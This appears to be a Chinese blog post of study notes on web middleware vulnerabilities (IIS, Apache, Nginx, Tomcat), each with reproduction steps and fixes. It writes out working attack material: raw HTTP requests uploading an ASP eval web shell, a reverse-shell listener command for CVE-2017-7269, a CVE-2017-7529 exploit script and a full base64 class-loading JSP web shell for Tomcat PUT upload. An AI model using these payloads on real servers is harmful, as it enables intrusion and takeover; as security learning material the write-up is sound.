中间件漏洞
常见的web中间件
iis
apache
tomcat
nginx
jboss
Weblogic
WebSphere
IIS6x篇
1.1PUT漏洞
1.漏洞描述
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0
2.漏洞复现
1)开启 WebDAV 和写权限
3.漏洞复现过程
1)直接抓包开启写权限的网站,修改请求方式为POST,再将数据包开头的POST改为OPTIONS
判断出该网站存在PUT漏洞
2)修改请求包为以下内容
PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25
<%eval request("cmd")%>
文件test.txt会被写入该网站目录中
3)修改请求包为以下内容
MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp
注意:最下面必须有两行是空的
使得文件test.txt被修改为shell.asp
shell.asp写入成功
4.漏洞防御
1.关闭webdav
2.关闭写入权限
1.2 IIS6.0解析漏洞
1.1 基于文件名
1.2 原理
1)该版本默认将*.asp;.jpg这种格式的文件名,当作asp解析。服务器默认不解析;之后的内容,相当于截断
2)IIS除了会将asp解析成脚本执行文件之外,还会将cer cdx asa 等扩展名文件解析成asp
如下图,asa被解析为asp
1.3漏洞复现
通过文件上传或者直接在网站中创建文件,格式为*.asp;.jpg ,在主机上访问这个文件,发现被解析成了asp文件
1.4漏洞防御
1)禁止创建和上传此类名称的文件
2)图片存放目录设置成禁止脚本文件执行
3)升级IIS版本
2.1 基于文件夹
2.2 原理
该版本默认将*asp/目录下的所有文件当成asp来解析
2.3 漏洞复现
创建文件夹*asp/ ,上传图片格式的后门到此目录
2.4漏洞防御
1)禁止创建此名称文件夹
2)升级IIS版本
1.3 IIS短文件泄露漏洞
1.1 介绍&原理
简介:Windows以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。
原理:
- 当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
- 当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
- 目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六 种
- IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功
1.2 漏洞复现
- IIS8.0以下版本需要开启ASP.NET支持。
- IIS>=8.0版本,即使没有安装ASP.NET,通过 OPTIONS和TRACE方法也可以猜解成功。
以下通过开启IIS6.0 ASP.NET后进行复现。
进入upload.moonteam.com网站目录
命令dir /x
查看所有的文件的短文件名
短文件名特征:
1)只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的 6个字符是相同的,后面的数字进行递增
2).后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。
3)所有小写字母均转换成大写的字母
4).长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀
5)长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包 含空格或者其他部分特殊字符,不论长度均会生成短文件。
验证该漏洞是否存在:
使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名
注:* 可以匹配n个字符, n可以为0
http://upload.moonteam.com/*~1*/a.aspx
通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在
或者yakit
判断漏洞存在后手注猜解IIS短文件名
在网站目录下新建了123456a.txt文件,访问
http://upload.moonteam.com/1*~1*/a.aspx
http://upload.moonteam.com/p*~1*/a.aspx
通过两次的提交确认了1是404 p是400 所以存在a文件开头的短文件。 //当然我个人觉得一次就行了
接着往后面猜
http://upload.moonteam.com/123456*~1*/a.aspx
![](https://gitee.com/schneidergrace/blog-garden/raw/master/images/屏幕截图 2024-09-08 180520.png)
现在短文件名称已经爆出来了六位
就这样照着猜解,猜解出所有的前缀后缀,短文件名
1.3 漏洞防御
- 升级.net framework
- 修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。 (新建的才没有短文件名)
- 命令行关闭 fsutil behavior set disable8dot3 1
1.4 IIS RCE-CVE-2017-7269
1.1介绍
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的 ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http://
开头的长标头执行任 意代码 PROPFIND请求
1.2影响范围
Windows Server 2003 R2上使用IIS6.0并开启WebDAV拓展
1.3漏洞复现
python iis 192.168.0.115 80 192.168.0.154 9999
nc -lvnp 9999
不知道为啥我是监听不了,有漏洞但是无法会话
1.4 漏洞防御
1.关闭 WebDav服务
2.升级
3.部署安全设备
IIS7X漏洞
1.1 iis7文件解析漏洞
1.1 原理
IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png 解析为php文件
1.2 漏洞复现
上传图片到网站允许目录 在图片上加上/.php
http://192.168.0.148:8980/1.jpg/.php
1.3 漏洞防御
1)配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
2)编辑映射模块->映射->打勾
1.2 HTTP.SYS远程代码执行(MS15-034)
1.1介绍
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引 入,IIS服务进程依赖HTTP.SYS
HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送 特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统 帐户的上下文中执行任意代码。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
1.2 影响范围
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和 Windows server 2012 R2
1.3影响版本
IIS7.5、IIS8.0、IIS8.5
1.4漏洞复现
访问网站
1)发现存在漏洞
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。
GET / HTTP/1.1
Host: 192.168.0.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Range: bytes=0-18446744073709551615
Content-Length: 2
或者yakit
直接发现存在漏洞
POC地址: https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC
python IISDoS.py
输入攻击ip
输入80
/welcome.png
y
1.5漏洞修复
1)安装修复补丁(KB3042553)
2. apache篇
Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由 于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
apache目录结构
bin:存放常用命令工具,如httpd
cgi-bin:存放linux下常用命令,如xxx.sh
error:错误记录
htdocs:网站源码
icons:网站图标
manual:手册
modules:扩展模块
2.1 未知拓展名解析漏洞
1. 漏洞原理
Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识 别到合法后缀才进行解析。
2.漏洞复现
如果有一个xxx.php.bak文件,apache存在此特性时,从最右边开始解析,一看.bak不认识,继续解析,再一看.php认识,就会解析成.php文件。访问也是同样的道理
Apache不在mime.type中的后缀都不认识,目录一般位于/Apache/conf/mime.type
- 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
- 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
- 利用此漏洞时必须保证扩展名中至少带有一个.php,不然将默认作为txt/html文档处理。
在kali中复现
sudo service apache2 restart --启动apache服务
cd /etc/apache2/mods-enabled --进入目录
ls
nano php8.2.conf
正则表达式中,$用来匹配字符串结尾位置。如果设置了RegExp对象的Multiline属性的条件下,还会匹 配到字符串结尾的换行符"\n"或"\r"。
(上图光标位置)把$换成\. 然后重启apache即可解析成php sudo service apache2 restart
在/var/www/html 创建xxx.php.bak 并写入 <?php phpinfo();?>
3.漏洞修复
1)在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
2)如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
$filename = str_replace('.', '_', $filename);
2.2 AddHandler导致的解析漏洞
1. 漏洞原理
1)Apache在解析一个文件时,遇到不认识的扩展名,将会从后往前解析,直到遇到认识的扩展名
2)如果都不认识会暴露源代码。
在apache配置不当时会造成apache解析漏洞
2. 漏洞复现
1、在httpd.conf把注释去掉,后缀是存在的.php .phtml都会被解析成php文件
AddType application/x-httpd-php .php .phtml
3.漏洞修复
1)在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
2)把配置不当的文件进行修改
2.3 目录遍历漏洞
1. 漏洞原理
当客户端访问到一个目录时,Apache服务器会默认寻找一个index list中的文件,若文件不在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为被称为目录遍历
2. 漏洞复现
httpd.conf
DocumentRoot "C:\phpStudy\WWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
3.漏洞防御
在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes + FollowSymLinks + ExecCGI并保存(吧+修改为-)
+ Indexes 允许目录浏览
— Indexes 禁止目录浏览
2.4 Apache HTTPD 换行解析漏洞(CVE-2017-15715)
1. 漏洞描述
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在 一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策 略。
可以看到这里获取文件名是需要单独post一个name的,因为如果通过 $_FILES['file']['name']
获 取文件名的话,会把\x0a自动去除,所以 $_FILES['file']['name']
这种方式获取文件名就不会造成 这个漏洞
2. 影响范围
apache:2.4.0~2.4.29版本
3.漏洞复现
<html>
<head><meta charset="utf-8"></head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
<br />
<?php
if(isset($_FILES['file'])){
#1.php php
$name =basename($_POST['name']); --这里
$ext = pathinfo($name,PATHINFO_EXTENSION);
$array=array('php','php3','php4','php5','phtml','pht');
if(in_array($ext,$array)){
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name);
}
?>
后台是通过黑名单方式过滤了php后缀的文件,根据最开始的知识,什么样的文件算是php文件呢?在 有定义,这句话的意思是以php结尾的文件都算php文件,在正则中表示匹配输入字符串的结尾位置。 如果设置了 RegExp对象的 Multiline属性,则也匹配 \n 或 \r 恰好,我们在文件末尾加了0x0a(n),所以被匹配成功了。
1.0x0d \r CR这三者代表是回车,是同一个东西,回车的作用只是移动光标至该行的起始位置
2.0x0a \n CL这三者代表换行,是同一个东西,换行至下一行行首起始位置;
3. nginx篇
介绍:Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中 表现较好。
3.1. 文件解析漏洞
1.漏洞原理
该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于 security.limit_extensions的引入,使得该漏洞难以被成功利用。
在php5.2.7中打开php.ini文件,其中cgi.fix_pathinfo=1,说明存在该漏洞
(传给路径位于SERVER["SCRIPT_FILENAME"],修复去除路径位于 SERVER["PATH_INFO"])
cgi.fix_pathinfo 参数控制着 PHP 如何处理路径信息
cgi.fix_pathinfo 参数决定了 PHP 是否修复路径信息。当 cgi.fix_pathinfo = 1 时,PHP 会尝试修复路径信息,并将路径信息的一部分作为脚本文件名来执行。
2. 漏洞原理分析
Nginx的处理程序和FastCGI处理程序不同导致
Nginx在拿到URL为/123.jpg/xxx.php后,识别处后缀是.php,认为是php文件,转交给PHP FastCGI处理程 序去处理。PHP FastCGI处理程序识别该URI: /123.jpg/xxx.php不存在,按照PHP FastCGI处理程序自己 的规则,删去最后的/xxx.php,又看/123.jpg存在,就将/123.jpg当成要执行的文件,就成功解析。
Nginx传送给PHP FastCGI处理程序的路径可以在phpinfo中查看【传送路径查看】
cgi.fix_pathinfo为php中的一个选项,默认开启为1,作用为修理路径,也就是对路径URI的处理规则
当php遇到文件路劲为/123.jpg/xxx.php/ss.001时,该文件不存在,会删除最后的/s100,再判 断/1.jpg/xxx.php是否存在,若存在则将/123.jpg/xxx.php当作/1.jpg/xxx.php/ss.001文件,若不存在,则 继续删除最后一个路径。删除的多余路径会存在PATH_INFO中,在这里为s100
3. 漏洞复现
使用phpstudy nginx php5.2.7
在网站目录中放一个123.jpg,内容写为,访问123.jpg/x.php,发现出现了phpinfo页面
4. 漏洞防御
1)cgi.fix_pathinfo = 0
2)配置正确的Nginx:确保正确识别哪些文件应该作为php脚本来处理
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass your_php_fpm_address;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
3.2 目录遍历漏洞
1. 漏洞原理
Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。
修改nginx.conf,在如下图位置添加autoindex on
autoindex on;
autoindex on 开启目录浏览 autoindex off关闭目录浏览 默认是关闭状态
2. 漏洞复现
直接在网站根目录下建立一个新目录,再加上两个文件,访问这个目录
3. 漏洞防御
1.设置 autoindex off 关闭目录浏览
2.删除 autoindex on
3.3 空字节代码执行漏洞
1. 漏洞原理
在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非 php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。如: http://local/robots.txt.php会把robots.txt文件当作php来执行。
2. 影响版本
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37
3. 漏洞复现
开启nginx
在网站目录下添加1.jpg文件
访问该文件
抓包,添加%00 这里由于该图非正常,在抓包时最后面添加..,可以让burpsuite抓到
将请求修改为:
/1.jpg..php
发包即可
4. 漏洞防御
1.在nginx虚拟机配置或者fcgi.conf配置加如下代码:
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}
2.升级 nginx
3.4 整数溢出漏洞(CVE-2017-7529)
1. 漏洞原理
在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求 引发这个整数溢出漏洞,并导致信息泄露。 该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进 行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务 器的后端真实IP或其他敏感信息。 通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定 利用价值。
2. 漏洞复现
检测脚本
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
3. 漏洞防御
直接升级
3.5 CRLF注入漏洞
1. 漏洞原理
Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF 注入漏洞。
2. 漏洞复现
设置https跳转,这样就可以接收到url,进而进行处理。在 C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf文件中添加下面一行话。
location / {
return 302 https://$host$uri;
}
构造url,访问 http://192.168.0.155/ Set-cookie:JSPSESSID%3D3
GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.0.155
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
3.漏洞防御
删除配置不当的配置
3.6 文件名逻辑漏洞(CVE-2013-4547)
1. 漏洞原理
这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,此漏洞可导 致目录跨越及代码执行,其影响版本为:nginx 0.8.41 – 1.5.6
2. 漏洞复现
创建 1.jpg 文件,并上传
抓包,在该文件最后添加一个空
把方法改成get
让它访问这个上传的文件,没用的可以删掉,注意留一个行,后面两个空格加上.php
在十六进制中把第二个20改成00
然后再放包访问,就会访问到解释为php脚本
3.漏洞修复
1.升级nginx
4.Tomcat篇
4.1 Tomcat远程代码执行漏洞(CVE-2017-12615)
1. 漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数 由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代 码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
2. 漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求)
3. 影响范围
Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
4. 漏洞复现
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
蚁剑连接192.168.70.135/1.jsp,密码passwd
5. 漏洞防御
1.设置 readonly未true
4.2 tomcat弱口令&war远程部署
1. 漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理 员把密码设置成弱口令,
使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
2. 漏洞复现
vulfocus中开启环境
输入tomcat进入/manager/html
制作后门木马,做成zip压缩包,改后缀为war
上传
蚁剑连接
上传会自动解压 用客户端进行连接即可获取
3. 漏洞修复
1.设置强口令
conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager-gui,managerscript,manager-jmx,manager-status,admin-gui,admin-script" /
2.删除manger文件
标签:文件,解析,文件名,中间件,漏洞,复现,php From: https://www.cnblogs.com/schneider/p/18446694